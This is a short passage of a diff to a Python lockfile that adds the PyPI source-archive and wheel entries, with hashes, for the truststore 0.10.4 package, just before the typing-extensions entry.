+sdist = { url = "https://files.pythonhosted.org/packages/53/a3/1585216310e344e8102c22482f6060c7a6ea0322b63e026372e6dcefcfd6/truststore-0.10.4.tar.gz", hash = "sha256:9d91bd436463ad5e4ee4aba766628dd6cd7010cf3e2461756b3303710eebc301", size = 26169, upload-time = "2025-08-12T18:49:02.73Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/19/97/56608b2249fe206a67cd573bc93cd9896e1efb9e98bce9c163bcdc704b88/truststore-0.10.4-py3-none-any.whl", hash = "sha256:adaeaecf1cbb5f4de3b1959b42d41f6fab57b2b1666adb59e89cb0b53361d981", size = 18660, upload-time = "2025-08-12T18:49:01.46Z" },
+]
+
 [[package]]
 name = "typing-extensions"
 version = "4.15.0"